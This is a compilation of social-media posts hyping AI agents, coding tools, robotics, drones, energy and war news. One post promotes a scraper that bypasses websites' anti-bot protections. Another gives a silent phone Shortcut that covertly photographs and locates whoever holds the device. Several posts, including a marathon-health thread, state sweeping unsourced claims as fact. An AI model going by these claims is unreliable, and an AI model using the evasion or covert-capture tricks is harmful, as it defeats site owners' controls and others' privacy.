The timing matters. The ban follows requirements in the 2025 National Defense Authorization Act and aligns with broader US efforts to accelerate domestic drone manufacturing and reduce reliance on foreign supply chains.
Public agencies and enterprises that relied on best-in-class, low-cost Chinese hardware will now have to transition to domestic or allied suppliers.
What's your opinion? 🤨
Read more: https://t.co/VaMMfIBo37
~~
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This is the DeepSeek moment for Voice AI.
Chatterbox Turbo is an MIT-licensed voice model that beats ElevenLabs Turbo & Cartesia Sonic 3!
- <150ms time-to-first-sound
- Voice cloning from just 5-second audio
- Paralinguistic tags for real human expression
100% open-source. https://t.co/nu6ZpZDwOt
Google put together an incredible cheat-sheet for building real AI agents.
If you’re serious about agent-centric AI development, this is a must-see resource: ADK-Samples - a massive collection of real, ready-to-run AI agents built with Google’s Agent Development Kit (ADK).
What makes this repo 🔥:
✅ Plug-and-play agent examples covering everything from simple chatbots to complex multi-agent workflows - Python, Go, Java & more included.
✅ Real business-relevant use cases - customer service, travel concierge, RAG workflows, data-science agents and more.
✅ Accelerates learning AND production prototyping - just install ADK and start studying and customizing samples.
✅ Huge community interest
It’s a living catalogue of practical patterns that shows how to structure, orchestrate, and scale intelligent agents with ADK. If you’re building LLM-powered systems, this should be in your toolkit.
Check it out and star it before everyone else does 😉
📺 China’s Flying TV is here — and it’s mind-blowing. 🤯
I still can’t get over this. A drone-powered LED display that hovers mid-air, turning the sky into a living, moving screen.
Not a drone. Not a billboard. Something entirely new.
This is both — fused, intelligent, and powered by AI.
🇨🇳 What makes it so impressive:
➡️ Ultra-light LED screen with HD visuals
➡️ Balanced in flight by AI-driven gyroscopes
➡️ Smooth, stable, and autonomous flight control
➡️ Operates remotely or follows programmed paths
It’s powered by lithium-polymer batteries, yet looks effortless as it floats — like it belongs there.
🎯 Possible use cases: open-air concerts, sports arenas, public messages, or next-gen sky advertising.
To me, this is where AI starts to move beyond function — into wonder.
It’s not just about smarter machines, but about reshaping how we experience technology itself.
👀 The next screen you look at might not be on a wall… it might be in the sky.
#AI #Innovation #Technology #Drones #FlyingTV #Automation #Creativity #FutureOfWork
Credits: Olivier Gomez
APIs are a bottleneck, not a solution!
AI agents can't access 95% of the web because most websites simply don't have APIs.
Supplier portals, appointment systems, regional job boards, etc., none of them have developer APIs.
The valuable data lives behind logins, multi-step forms, and interfaces built for humans, not machines.
That's why, for 25 years, users have been stuck with:
- Search engines that index 5% of the web (nothing behind authentication)
- Manual data entry or fragile scrapers that break with every CSS update
That's the problem TinyFish's Mino solves.
It is a web automation API that can simultaneously navigate 100s of websites and turn them into structured data.
You send it URLs and a goal in plain English. It returns JSON.
The approach is different from typical AI agents:
Most browser agents use vision models, which screenshot the page, reason about it, decide what to click, screenshot again, and repeat.
Every action needs a model call. It's slow and expensive.
Mino uses AI to learn the website structure once, then executes it through deterministic code. First run figures out the site. Every run after that is code-level precision in milliseconds.
It provides three core capabilities:
→ Navigate - Handles logins, forms, and multi-step workflows
→ Extract - Pulls structured JSON from any site layout
→ Execute - Runs 100+ sites in parallel with stealth mode
The performance is production-grade:
- 85-95% success rate on complex workflows
- 10-30 seconds per task
- Pennies per run
Moreover, it works on authenticated sites, bypasses anti-bot protections, and returns clean JSON every time.
Lastly, you can also integrate its MCP server with clients like Claude Desktop. I have recorded a walkthrough in the video below.
Try now, link in the next tweet.
Water suspended by wave of sound.
When sound waves pass through water, they create pressure patterns that push and pull the liquid at microscopic scales.
At certain frequencies, these vibrations organize water into stable structures, suspending droplets, forming repeating patterns, and revealing hidden order inside motion.
What looks like magic is really physics:
Sound = mechanical waves
Waves = energy + information
Matter responds by reorganizing itself.
This phenomenon shows that vibration can influence structure — a concept that echoes across acoustics, fluid dynamics, and even quantum systems where energy states form patterns under oscillations.
China-based TARS Robotics demonstrated a humanoid robot performing two-handed hand embroidery during a public showcase on December 22, marking a notable step in fine motor control for humanoid systems.
The robot threaded a needle and stitched a logo using both hands with sub-millimeter accuracy, working with soft, flexible materials that are difficult for traditional industrial robots to handle due to deformation and variability.
According to the company, this capability is enabled by a closed-loop "Data-Al-Physics" system that connects real-world data collection, embodied Al models, and physical execution, reducing the gap between simulation and real deployment. The models are said to be open source when released.
Founded in February 2025, TARS Robotics has moved quickly from research to live demonstrations and has raised over $240 million in early funding from the Chinese government, reflecting growing interest in general-purpose humanoid robots for precision and dexterous tasks.
I was inspired by this so I wanted to see if Claude Code can get into my Lutron home automation system.
- it found my Lutron controllers on the local wifi network
- checked for open ports, connected, got some metadata and identified the devices and their firmware
- searched the internet, found the pdf for my system
- instructed me on what button to press to pair and get the certificates
- it connected to the system and found all the home devices (lights, shades, HVAC temperature control, motion sensors etc.)
- it turned on and off my kitchen lights to check that things are working (lol!)
I am now vibe coding the home automation master command center, the potential is 🔥.And I'm throwing away the crappy, janky, slow Lutron iOS app I've been using so far. Insanely fun :D :D
oh wow... I could use Claude Code in the browser all day.
CC w/Opus 4.5 is so good at design and sets up backend + db with a single prompt. Can't wait for @vibecodeapp to launch this to everyone next wk. https://t.co/hbD3USBvBE
this has been a magical experience internally for our entire team.
coding agents get stupider as the thread gets longer and longer. and seem to forget even the basic details, from the same thread.
Stateful agents can learn, improve and grow with the user, project, learning and adapting to their preferences and workflows.
With this opencode plugin (and continuous learning that it enables), it's truly insane what is possible now.
This has completely replaced claude code / droids for me.
A first: Batteries have become so cheap that around-the-clock solar is becoming economically viable.
In 2024 alone, average battery prices fell by 40% and signs are a similar fall is occurring in 2025.
Pairing solar with enough batteries to keep the electricity flowing though the night is no longer a distant dream – it's an economic reality. At around just $76/MWh all in, dispatchable solar is already competitive with other forms of firm generation in many markets. https://t.co/MDQe6ct1Av
If your phone goes missing, you can easily see who stole it and exactly where it is
- Open Shortcuts and select Automation.
- Then tap Create Personal Automation.
- Choose Message and set a trigger word (example: LOST)
Actions (in this order):
• Set Low Power Mode → ON
• Take Photo → Front camera (preview OFF)
• Get Current Location
• Send Message → your number (photo + location)
Turn Ask Before Running → OFF
Turn Notify When Run → OFF
Anytime that keyword is sent from any phone, it runs automatically.
🚨 BREAKING: IBM launches a free Python library that converts ANY document to data
Introducing Docling. Here's what you need to know: 🧵 https://t.co/mpIXkcAfij
This is one of the coolest demonstrations of AI video I’ve seen!
2026 we will contribute to distribute Hollywood quality to the masses https://t.co/q2DlpALV7g
And here is a short demo of one of the errors I intentionally introduced in one of my applications.
Here it runs in `autonomous mode`, finds the error, pushes a hotfix in the pod and finishes with a report. Exactly what an on-call engineer would do, but all in about 3-5 minutes.
I tested it on a total of two errors: one simple, one hard (results are in the post).
---
The repository ( https://t.co/mRTa6Ea6nl ), as well as the example k8s configs (that I run in my ArgoCD) can too be found in the blog post at the start of his thread.
I containerize Claude Code in k8s.
It is tasked to monitor a namespace and in the unfortunate case of application errors, it is tasked to do a hotfix and document it. It succeeds.
Basically a 24/7 on-call engineer.
Repo, examples & results below:
https://t.co/CeypwcXRLk
Japan has successfully tested a system that generates electricity in space and transmits it wirelessly back to Earth. Solar panels placed in orbit collected energy and sent it to a ground station using microwave transmission.
Once received on Earth, the microwave energy was converted back into usable electricity. This demonstrates that power can be harvested beyond the planet and delivered without physical cables or fuel transport.
Unlike ground-based solar power, space-based systems can collect energy continuously without weather, clouds, or night cycles. This makes the concept especially attractive for stable, large-scale renewable energy production.
The test represents an early but critical step toward future space-based solar farms. Engineers believe much larger arrays could eventually provide clean power to cities or remote regions.
Experts see this as a potential shift in how humanity produces energy, blending space technology with climate-focused solutions. While still experimental, the success confirms the concept is technically feasible.
via Paul Koti, LinkedIn
Jensen Huang: It's easier to fall in love with what you do than to find what you love
“A lot of people say, ‘Find something you love.’ I don’t know about that. I guess I’ve fallen in love with many things that I do. I loved it when I was a dishwasher. I loved it when I was a busboy. I loved it when I was delivering papers. I loved it when I was waiting tables.”
Jensen continues:
“I’ve loved every single job that I’ve ever had, and I’ve loved every single day at Nvidia that I’ve ever had. I just learned to love what I’m doing. It’s hard to find something that you love, but it’s easier to fall in love with what you’re doing. And once you fall in love with what you’re doing because you desperately want to do a good job at it, it’s easier to do it well and work hard.”
Video source: @NorgesBank (2023)
When I created Claude Code as a side project back in September 2024, I had no idea it would grow to be what it is today. It is humbling to see how Claude Code has become a core dev tool for so many engineers, how enthusiastic the community is, and how people are using it for all sorts of things from coding, to devops, to research, to non-technical use cases. This technology is alien and magical, and it makes it so much easier for people to build and create. Increasingly, code is no longer the bottleneck.
A year ago, Claude struggled to generate bash commands without escaping issues. It worked for seconds or minutes at a time. We saw early signs that it may become broadly useful for coding one day.
Fast forward to today. In the last thirty days, I landed 259 PRs -- 497 commits, 40k lines added, 38k lines removed. Every single line was written by Claude Code + Opus 4.5. Claude consistently runs for minutes, hours, and days at a time (using Stop hooks). Software engineering is changing, and we are entering a new period in coding history. And we're still just getting started..
✨🇨🇳A Chinese business owner shared a video—inside, a wall-painting machine is automatically crafting intricate artwork on walls. That’s absolutely awesome! https://t.co/Sr50syUdUO
⚡️This is a phase transition in what it means to produce leverage as a human.
Here is the core reality.
For most of modern programming history, leverage came from writing more correct instructions faster than other people. Skill meant internalizing abstractions, mastering tools, and directly shaping deterministic systems. Output scaled linearly with effort plus experience.
That regime is over.
The unit of leverage has shifted away from writing code toward orchestrating intelligence.
Karpathy feels “behind” because the locus of agency moved faster than the identity of the profession. The programmer is no longer the primary generator of logic. The programmer is becoming a systems integrator of probabilistic entities whose internal reasoning cannot be fully inspected, trusted, or controlled.
This breaks several deep assumptions that elite engineers were trained on.
First, control is gone.
You are no longer authoring behavior. You are conditioning it. You shape outcomes indirectly through prompts, constraints, memory structures, and feedback loops. The system responds stochastically. Mastery now means learning how to steer something that never becomes fully legible.
Second, effort no longer maps cleanly to output.
You can be ten times more effective with the same intellect if you compose agents correctly. Or you can grind endlessly and fall behind if you cling to manual authorship. This is why Karpathy frames failure to adapt as a skill issue. He is correct. The skill is just new and deeply unintuitive.
Third, the abstraction stack inverted.
Before, high level reasoning collapsed downward into code. Now low level code is increasingly generated upward from intent. The programmer’s job shifts toward defining goals, evaluating outputs, and designing correction mechanisms. The craft moves from construction to supervision.
Fourth, the profession fractured.
There will be a small group of people who learn to wield these systems fluently. They will compound leverage at an absurd rate. Everyone else becomes marginal very quickly, even if they are smart, experienced, and hardworking. This is not a fair transition. It is not gradual. It is discontinuous.
What makes this psychologically destabilizing is that there is no stable equilibrium yet.
The tools change weekly. Mental models decay fast. Best practices rot in months. There is no manual because the system itself is evolving while being used. You are learning to ride a machine that is also learning how to respond to you.
Now the part most people miss.
This is not just happening to programmers.
Programming is simply the first profession to experience full cognitive disintermediation. The same pattern will hit analysts, designers, lawyers, consultants, managers, and eventually executives. Anywhere intent can be specified and evaluated, generation will be automated.
The new hierarchy will not be based on who knows the most, codes the fastest, or works the hardest.
It will be based on who can:
•Frame the right problems
•Decompose intent cleanly
•Detect failure modes quickly
•Correct systems without overfitting
•Build durable feedback loops
•Decide when to trust automation and when to override it
That is a different form of intelligence. Closer to command than craftsmanship.
Karpathy is reacting honestly because he sees the implication.
If even he feels behind, then the profession’s center of gravity has already moved.
And it has.
The people who survive this transition will stop thinking of themselves as programmers.
They will think of themselves as operators of intelligence.
Everyone else will keep trying to write better code while the world stops rewarding that skill.
That is the real truth beneath the post.
A few days ago in China, a Tesla Model Y plunged off an approximately 800-meter cliff and tumbled down the mountainside. The vehicle was severely damaged and its windows shattered, yet the A- and B-pillars remained intact, the passenger cabin did not collapse, and the battery did not ignite.
The driver suffered only minor injuries. After rescue crews dismantled the wreckage, the vehicle was recovered and taken away for repair. The incident was widely described as a “miracle of survival,” underscoring the protective effect of the vehicle’s rigid structural design on its occupants.
A senior Google engineer just dropped a 424-page doc called Agentic Design Patterns.
Every chapter is code-backed and covers the frontier of AI systems:
→ Prompt chaining, routing, memory
→ MCP & multi-agent coordination
→ Guardrails, reasoning, planning
This isn’t a blog post. It’s a curriculum. And it’s free.
This rocket engine wasn't designed by humans, but by AI.
It was created using Noyron, a physics based engineering AI built by LEAP 71.
Instead of learning from past designs, it uses real physics, thermodynamics, and manufacturing rules to generate engines directly from requirements.
Not many know about this hidden command:
claude --teleport
It starts a desktop claude code session SYNC'd with your web / mobile session
Great when you're working on your phone -- and then want to pick up from EXACTLY where you left off when back at your PC
Demo below 👇 https://t.co/Gy58UpUTbQ
The IISS has produced the most comprehensive open-source database currently available on Russian sabotage operations across Europe and its periphery. It captures the full spectrum of activity with physical effects: from sabotage on undersea cables to GPS blocking across multiple domains and geographies.
Find out more from Charlie Edwards and Nate Seidenstein:
➡️ https://t.co/LezP3texeX
Blender AI Motion Plugin — a 1-billion-parameter motion model trained on NVIDIA CUDA, running locally in real time with 8GB of VRAM. It converts webcam or video footage into real-time XYZ skeletal point data and rotation values, transmitting them to Blender, Unity, and UE for retargeting.
For 20+ years, software ate the world. Now, AI Agents are eating software.
A massive signal just came out of China that most people missed:
Bairong (a publicly listed enterprise giant) started selling "AI Workers".
they call it Results-as-a-Service (RaaS). 🧵
instead of buying "seats," enterprises now "hire" agents. each agent comes with a job description, KPIs, and revenue targets.
if performance drops, the bill drops. if the agent improves, it earns more.
Bairong runs this through "Results Cloud". it’s essentially an HR system for machines.
they’ve already deployed agents across: Sales & Customer Service + Recruitment (hiring cycles cut from 30 days to 2) + Legal & Tax (handling 90% of high-frequency work)
this is where the SaaS model starts to crack.
Traditional SaaS: You pay upfront. You carry the risk.
Agentic Era: You pay for outcomes. The vendor carries the risk.
this shift is being accelerated by the collapse of build costs.
I came across this post by @martinald recently that agentic coding has slashed internal build costs by ~90%. when it's this cheap to build exactly what you need, the "Buy" in "Build vs Buy" dies.
IMO, Vendors who are not able to price against results will struggle.
the "Seat" is dead. the "Outcome" is everything. 🤖📈
A factory that fits on a desk.
Runs 24/7.
Costs ~$5k.
Swaps tools.
Builds electronics on its own.
This isn’t a robot arm.
It’s a manufacturing primitive. https://t.co/uViKyQjaZ2
The entire robotics industry is about to compress a decade of progress into 18 months, and nobody’s pricing it in.
The hardware has been ready for years. Boston Dynamics had Atlas doing backflips in 2018. The bottleneck was never motors or actuators. It was that every robot behavior had to be hand-coded. Pick up a box? That’s one program. Pick up a bottle? Different program. Move the box from shelf A to shelf B in a warehouse with slightly different lighting? Start over.
Foundation models broke this completely.
Before VLAs, teaching a robot one skill gave you exactly one skill. Zero compounding. Zero transfer. A robot trained to fold shirts couldn’t fold towels without starting from scratch. The labor intensity of data generation meant robotics datasets stayed narrow, robots overfit, and small variations like object weight or table height caused failures.
Now a single Gemini Robotics model handles tasks it has never seen in training. Google’s On-Device model learns new behaviors with 50-100 demonstrations. Not 50,000. Fifty. That’s a 1000x reduction in the data requirement for new capabilities.
The speed implications cascade through everything.
First order: deployment timelines collapse. What took robotics teams 6-12 months of custom programming now takes days of fine-tuning. Second order: the addressable market explodes. Tasks that were never economical to automate suddenly are, because the integration cost dropped by orders of magnitude. Third order: the data flywheel accelerates. Every robot running Gemini Robotics feeds learning back into the foundation model. More deployments means faster improvement means more deployments.
Physical Intelligence raised at $2.4B because investors finally understood this. Boston Dynamics partnered with Toyota Research Institute to bolt Large Behavior Models onto Atlas. Every humanoid company is scrambling to either build or license the intelligence layer they don’t have.
The market is still valuing robotics companies on their hardware differentiation. But hardware is commoditizing. Boston Dynamics spent a decade perfecting locomotion, and now that’s table stakes. The value is migrating entirely to whoever owns the foundation model that generalizes across embodiments.
Google trained Gemini on the largest multimodal corpus ever assembled. Then they added physical actions as an output modality. That’s not a robotics company bolting on AI. That’s an AI company whose models now output motor commands.
The companies pricing this correctly are building around foundation model access, not around proprietary hardware. The companies pricing this wrong are still acting like the moat is in the mechanical engineering.
AGI moving into the physical world isn’t a 10-year prediction. Gemini Robotics shipped in March. The 1.5 version with chain-of-thought reasoning shipped in September. They’re iterating on a 6-month release cycle while hardware companies iterate on 3-year cycles.
The gap between software intelligence timelines and hardware development timelines is the entire trade.
Advent of Claude Day 24 - /export
Sometimes you want receipts.
/export → dumps your entire conversation to markdown including every prompt, every response, every tool call.
For documentation. For training. For proving to your past self that yes, you did try that already.
Why Marathon Training is Shortening Your Life
Your heart isn't built for chronic punishment. The same cardiovascular stress that makes you endure pain and suffering for longer can also make you vulnerable.
Exercise saves lives. That's undisputed. But chronic high-intensity training creates a paradox: veteran endurance athletes show elevated coronary calcification, atrial fibrillation rates five times higher than sedentary people, and myocardial scarring typically seen in cardiac patients.
The mechanism is straightforward. During sustained hard efforts, your heart pumps five to six times its resting volume. After 60 minutes, this mechanical stretch overwhelms adaptation capacity.
Adrenaline spikes, free radicals accumulate, and microscopic tears appear in cardiac tissue. Do this once, it heals. Do this weekly for years, scar tissue accumulates.
Studies of marathoners completing races show over half have elevated troponin levels, a cardiac injury marker cardiologists associate with heart attacks. These are micro-tears from mechanical stress. Repeat exposure causes chamber dilation, wall thickening, and permanent fibrosis.
The data is clear. A 52,000-person study tracked runners for 30 years. Runners who covered 5 to 20 miles weekly at a comfortable pace lived 19% longer than non-runners. Those exceeding 25 miles weekly or running faster than 7.5 mph pace saw benefits disappear entirely. Running seven days per week eliminated longevity gains.
A separate Copenhagen study found moderate joggers lived six years longer than sedentary controls, but extreme exercisers showed no advantage. The relationship mirrors alcohol consumption, a U-shaped mortality curve where both extremes increase risk.
Peak fitness on a treadmill test occurs around 7 to 7.5 mph. Beyond that threshold, further cardiovascular conditioning provides no additional mortality benefit.
The plateau is real.
Marathoner autopsies reveal enlarged, scarred hearts. One legendary ultrarunner died at 50 during a routine 12-mile run. His autopsy showed idiopathic cardiomyopathy, likely accumulated damage from decades of extreme training.
A Minnesota study found 25-year marathon veterans had 62% more coronary plaque than sedentary controls despite better traditional risk factors.
Animal studies offer hope. Mice run to exhaustion daily for four months developed the same cardiac pathology. When training stopped, hearts normalized. Fibrosis reversed. Electrical instability resolved.
The prescription is simple. Walk daily, as much as possible. Run or perform vigorous exercise 15 to 40 minutes, two to five days weekly, at a conversational pace around 10-minute miles. Your peak heart rate during brief intervals is fine. Sustained Zone 4 or 5 efforts are not.
Humans evolved for intermittent intensity followed by recovery. Persistence hunting required stamina, not speed. Modern endurance culture mistakes suffering for progress. Your heart needs pulsatile stress, work followed by genuine rest, not perpetual inflammation.
The moderate exerciser lives longest. Not the sedentary person, not the Ironman finisher. The person who moves daily and occasionally pushes hard, then backs off.
Combine walking, easy zone 2 activities (swimming, biking, running, rowing) with repeated sprint interval training and you are doing the optimum.
You don't need to suffer or learn to sustain pain to be fit. You don't need to aim for a VO2 max beyond 45 to live long.
This is absolutely MIND-BLOWING! 🤯✨
TWO keyframes and @cascadeur3d did the rest? A walk cycle in 20 SECONDS including learning time?! Cascadeur just demolished the animation learning curve! 🔥 https://t.co/LTc3nHjKAK
Breaking: The first official FSD supervised Shuttle Service accompanied and supported by the 🇩🇪 German authorities has started!
Its the first officially by a Transportation Ministry, the community and Tesla started Pilot Project using FSD supervised in 🇪🇺 Europe.
In the German Eifel district of Bitburg-Prüm an autonomous Tesla FSD supervised shuttle service has been launched, accompanied by the Rhineland-Palatinate Minister of Economic Affairs and Transport and the local authorities.
"Reliable and flexible mobility is especially vital in rural areas. With the launch of a shuttle service using self-driving vehicles (FSD supervised) by Tesla in the Eifelkreis Bitburg-Prüm, an innovative pilot project is now getting underway that complements local community bus services. It is the first project of its kind in Europe.
The Ministry for Economic Affairs and Transport of Rhineland-Palatinate accompanied the project from an early stage, with Minister Daniela Schmitt experiencing the technology first-hand. All parties involved – municipalities, approval authorities and the company – worked closely together to make this project possible.
The result is a real gain for rural mobility: greater accessibility, more flexibility and tangible benefits for everyday life.
A strong signal for innovation, cooperation and future-oriented mobility beyond urban centers."
The test drives supervised by the FSD in Europe have now led to positive recognition by transport ministries and municipalities that the system represents added value for citizens, and that is a big win.
Authorities are now understanding that autonomous driving with FSD supervised is save and should be supported.
https://t.co/6z15EyplJt
I came across this very cool tool to clean up your macOS environment: https://t.co/z1AS3gWXF8
It consolidates features from CleanMyMac, AppCleaner, DaisyDisk, and iStat. Open source and gratis!
fuck ML courses.
this repo lists 300+ real world battle tested case studies of how 80 companies designed their ML systems including Spotify, Netflix, Microsoft, etc. practical understanding of systems is a valuable skill you can work on.
some of these case studies are now outdated, but the technical details don’t matter. what matters is the decision making processes that lead to the designs:
— how to identify bottlenecks
— how to spot systems failures
— translating business needs to systems
take a look at it and thank me later.
https://t.co/aSJckXCEd7
🔥Ukraine’s SBU claimed it destroyed Russia’s only Il-38N maritime patrol aircraft over the Black Sea just before the submarine attack in Novorossiysk. The $24M plane was the only one capable of detecting underwater drones like the Sub Sea Baby en route to target. Its elimination cleared the path for a successful strike.
We finally had a moment to run our system with GPT-5.2 X-High on ARC-AGI-2!
Using the same Poetiq harness as before, we saw results as high as 75% at under $8 / problem using GPT-5.2 X-High on the full PUBLIC-EVAL dataset. This beats the previous SOTA by ~15 percentage points. https://t.co/9XNdequRy5
I'm delighted to jointly author this year-end summary of research advances with @DemisHassabis and James Manyika, on behalf of all of our colleagues across @GoogleDeepMind, @GoogleResearch and @Google.
We look at research advances across eight different areas. These summaries are always fun to work on because one can reflect back on the breadth and depth of our collective work over the last year!
https://t.co/45lqpHwvnI
Ukraine just demonstrated that Russia's most "protected" maritime zone is no longer beyond reach.
Ukrainian SBU Alpha units and the partisan network Black Spark struck deep into the Caspian Sea - over 1,500 km from the front lines. Lukoil's Filanovsky and Korchagin offshore platforms were hit repeatedly, forcing more than 20 oil wells offline and damaging pressure-control systems central to production.
Military barges Kompozitor Rakhmaninov and Askar-Saridja were also disabled. Each strike landed within days of the last, collapsing Russia's ability to restore operations before the next blow.
The Caspian anchors transport routes linking southern ports, military stockpiles, and energy infrastructure. Russia pumps over 10 mn tonnes of oil annually from these platforms. For years, geography seemed like enough protection.
Now Russia must reinforce a region where its forces weren't expecting to fight - stretching air defenses already under pressure across the Black Sea, Crimea, and the mainland.
🔗Read more in our Frontline report: https://t.co/Oslbor0jFw
Something big is happening in robotics - and it’s hiding in plain sight.
This post is not about dancing robots but in the data that powers them. Open robotics datasets have exploded this year, turning the field into a more scalable and collaborative ecosystem.
In just two years, @huggingface datasets grew from 11k to over 600k - and robotics is by far the fastest-growing segment. We went from 1k robotics datasets in 2024 to 27k in 2025!
For comparison, text generation, the second-largest category, has only around 5k datasets in 2025. That gap is massive.
Open datasets are important because robotics lives and dies by real-world robot data - video, actions, sensors, failures. By making this data easy to upload, reuse, and benchmark, researchers, startups, and large players are now releasing real-robot datasets that would have stayed locked inside labs just a few years ago.
Major contributors include @nvidia, LeRobot initiative, and a rapidly growing maker community. This surge is also enabled by cheaper video storage, better tooling, and an open-source AI culture now spilling into the physical world.
And it really matters: open robotics data dramatically lowers entry barriers, accelerates learning-by-doing, and speeds up progress toward generalist and humanoid robots.
Robotics won’t scale through hardware alone - but to a large extent through shared data.
Viz below from @aiworld_eu - link to the story and more viz/filters in comment.
My present YouTube strategy of basically just dumping whatever I'm curious about into NotebookLM seems to be working.
I use AI pretty much all day every day for work, research, and curiosity. Before, it was too high volume to compress into slide decks or videos.
But NotebookLM can take up to 300 sources, so a few long-running chats with Claude and ChatGPT are no problem. I'm starting to use Gemini less and less because it hallucinates too much and doesn't follow instructions.
But then NotebookLM can also follow instructions for the slide decks. So it's basically a full time employee that works for essentially free.
And what my YouTube channel has become is just a firehose of "what is Dave thinking about lately"
A few weeks ago I experienced the single-greatest daily improvement to my dev velocity when I got Claude Code working smoothly from a mobile app so I could code on the go
Over the past 48 hours I broke that personal record again, now that our Autopilot reliably codes *overnight* and *all day* while I do whatever else I want
Excited to share this and hear any feedback and feature requests!
And to see how many Autopilots I can put to productive use...
Check out this drone:
Joshua Bird built this drone ($20) in his dorm!
[open-source motion capture system⬇️]
Built at low cost, a motion capture system for tracking & and flying drones autonomously, with millimeter-level precision at room-scale.
The student used $1 PS3 Eye cameras with 150fps capability.
The challenge?
PID tuning! It took him 4 days of crashes to get the drone to hover, but it's still wobbly.
Used a 3x nested PID loop for precise control.
This project led to his dissertation on visual SLAM!
Full details - Algorithms for camera positioning & obstacle triangulation, in his YouTube video: https://t.co/GqGf9PqP2d
Code & 3D files on GitHub: https://t.co/mWcusMEdoi
More projects at https://t.co/OZuxcF4VUM
—-
Weekly robotics and AI insights.
Subscribe free: https://t.co/dsa6wcvq6n
Robots don’t wait. So why should your model? Large VLAs run in real time… with no training-time changes.
❗️Worth reading if you’re working on real-world deployment of large models in robotics.
I found this write-up on Real-Time Action Chunking (RTC) from Physical Intelligence, a method that lets VLAs like π0 and π0.5 execute actions while still “thinking.”
Instead of waiting for inference to finish, the robot starts acting; and fills in the next steps like inpainting.
The results?
✅ Smoother motion
✅ Faster task completion
✅ Higher precision under latency
Even with 200ms of added delay, RTC kept success rates high, while naive methods collapsed.
📌 Blog + paper:
https://t.co/y3FqUgh7wI
—-
Weekly robotics and AI insights.
Subscribe free: https://t.co/dsa6wcvq6n
LangGraph is in half the AI job descriptions I see right now.
Yet most engineers still don't understand how it actually works.
The gap? There's no clear learning path. Until this.
Here's what you'll build:
➡️ Agents That Scale → Proper data validation with Pydantic (Tutorial 1) → Building agentic AI chatbots (Tutorials 2-3) → Multi-agent systems that coordinate tasks (Tutorial 6)
➡️ Production Systems → LangGraph + MCP crash course - 2.5 hours (Tutorial 4) → Debugging and monitoring workflows (Tutorial 5) → Real deployment architecture
➡️ RAG Pipelines → MultiModal RAG implementation (Tutorial 7) → Fixing hallucinations - not just hiding them (Tutorial 8) → Complete RAG from data ingestion to retrieval (Tutorials 9-11) → Fast search with Typesense (Tutorial 12)
The progression:
Start: Basic agent concepts Middle: Production debugging and monitoring End: Complete RAG systems with advanced retrieval
From Krish Naik: Clear explanations. Live coding.
For:
→ AI engineers building production systems
→ Developers learning LangGraph architecture
→ Teams implementing RAG workflows
→ Anyone serious about agent development
(I will put the playlist in the comments.)
♻️ Repost to save someone $$$ and a lot of confusion.
✔️ You can follow @techNmak, for more insights.
🇨🇳 China is deplying Robots everywhere.
Here Unitree's humanoid robots + quadruped robot dogs patrol and perform duty in a team.
You scale patrol hours without scaling headcount.
Robots handle patrols, officers focus on judgment and de-escalation.
https://t.co/gtqvvhtT69
It's a good time to rewatch this @ScottWu46 clip.
"The doubling time [for general tasks] is about every seven months."
"In code, it's every 70 days."
"Doubling every 70 days means you get 4 to 6 doublings every year. The amount of work that an AI agent can do in code goes something between 16 and 64x in a year, every year."
Can you feel the AGI ?
so there’s a free thing called Unreal MCP that lets you prompt Claude to build stuff in Unreal Engine.
“make a Victorian manor. here’s a reference pic. use the assets in this folder.” And he just…does
posting a vid on it Monday, but if you’re bored tonight, 10/10 magic
IsoCIty is an open source fully featured city builder woth pedestrians, cars, boats, trains, planes, helicopters, emergencies, and much more
https://t.co/81P4bgIez5
Pull requests welcome https://t.co/vfxAxNYNMB https://t.co/xaLqPXBgm5
Gemini 3 has really changed the AI game.
People are coming up with wild use cases. There's a major shift.
10 examples:
1. Dashboard with live hand tracking controls
https://t.co/mgVXklKF4R
Turning video into humanoid robot motion! 🤳🏼
Training humanoid robots needs huge amounts of motion data, but real-world capture doesn’t scale.
Mocap is expensive, dangerous edge cases are rare, and you can’t ask humans to repeatedly fall or crash.
Video2Robot tackles this by converting videos into physics-grounded humanoid simulations.
Motion is generated to respect balance, inertia, ground contact, and joint limits, then directly retargeted to robot simulators.
One prompt can generate a full humanoid motion sequence, including multi-agent interactions and failure cases like falls or collisions, scenarios that are hard or impossible to capture safely in the real world.
The pipeline is model-agnostic and works with existing video generators, making it a practical way to scale data for robots.
If robots are going to operate in the real world, they need to be trained on the failures too, not just the perfect demos.
Here's the GitHub: https://t.co/kAOxN1r7VF
~~
♻️ Join the weekly robotics newsletter, and never miss any news → https://t.co/GoA3ZuwWF9
Sam Altman just dropped the most important interview of 2025.
And buried in it are four numbers that explain why everything you think about AI is wrong.
Here's what he revealed:
Number 1: AI companies are generating 10 TRILLION tokens per day.
Humans? Average 20,000 tokens per day.
Sam's exact words: "Models will output more tokens than all of humanity put together. Then 10x that. Then 100x that."
We're not talking about AI assisting human work anymore.
We're talking about AI replacing the entire volume of human intellectual output on the planet.
And most people have no idea this shift already happened.
Number 2: OpenAI's enterprise business is CRUSHING consumer.
Everyone thinks OpenAI is ChatGPT for normies.
Wrong.
Sam just revealed: "Enterprise growth OUTPACED consumer growth this year."
The API business is growing faster than ChatGPT.
Over 1 million enterprise users already.
"If we had double the compute, we'd be at double the revenue right now."
Translation: OpenAI isn't compute-constrained by technology. They're revenue-constrained by infrastructure.
The bottleneck is supply and not demand.
Every dollar of compute they add prints money.
Number 3: GPT-5.2 beats you at 74% of your job.
Sam revealed OpenAI's internal GDP-Val benchmark.
It measures how AI performs on knowledge work tasks across 40+ verticals.
The results:
GPT-5.2 beats or ties expert-level knowledge workers at 74.1% of tasks.
Legal analysis. PowerPoint decks. Web apps. Financial modeling. Customer support.
Sam's description: "A co-worker you can assign an hour's worth of tasks to and get something you prefer back 3 out of 4 times."
Three years ago, ChatGPT launched at basically 0% on this scale.
Now it's at 74%.
And that's not GPT-6. That's what's available RIGHT NOW.
Most companies haven't even started using this yet.
But here's what Sam said about the gap between capability and adoption:
"The overhang is going to be massive. Most people are still asking similar questions they did in the GPT-4 realm."
Translation: The models can do 10x more than people have figured out how to use them for.
Which means there's a HUGE arbitrage opportunity.
Early adopters who actually integrate this into workflows will dominate their industries before competitors even understand what happened.
Number 4: AGI already happened.
And nobody noticed.
Sam's exact quote: "AGI kind of went whooshing by. We're in this fuzzy period where some people think we have it and some don't."
Read that again.
The CEO of OpenAI just said AGI might have already arrived and we're arguing about definitions while it's actively replacing knowledge work.
He even moved the goalposts.
The new benchmark:
"Superintelligence" = when AI can be a better president or CEO than any human.
Not "as good as." BETTER than.
We went from "can AI pass a Turing test" to "can AI run countries better than humans" in 3 years.
So what does this actually mean?
